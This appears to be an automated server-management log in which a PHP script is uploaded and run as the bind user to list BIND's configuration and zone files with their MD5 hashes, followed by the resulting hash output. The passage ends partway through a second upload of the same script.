MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:00:19: Establishing a connection
2026-04-25 18:00:19: 

PUT: /tmp/pkp188673

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:00:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp188673; rm /tmp/pkp188673'

2026-04-25 18:00:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:00:20: Establishing a connection
2026-04-25 18:00:20: 

PUT: /tmp/pkp588318

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
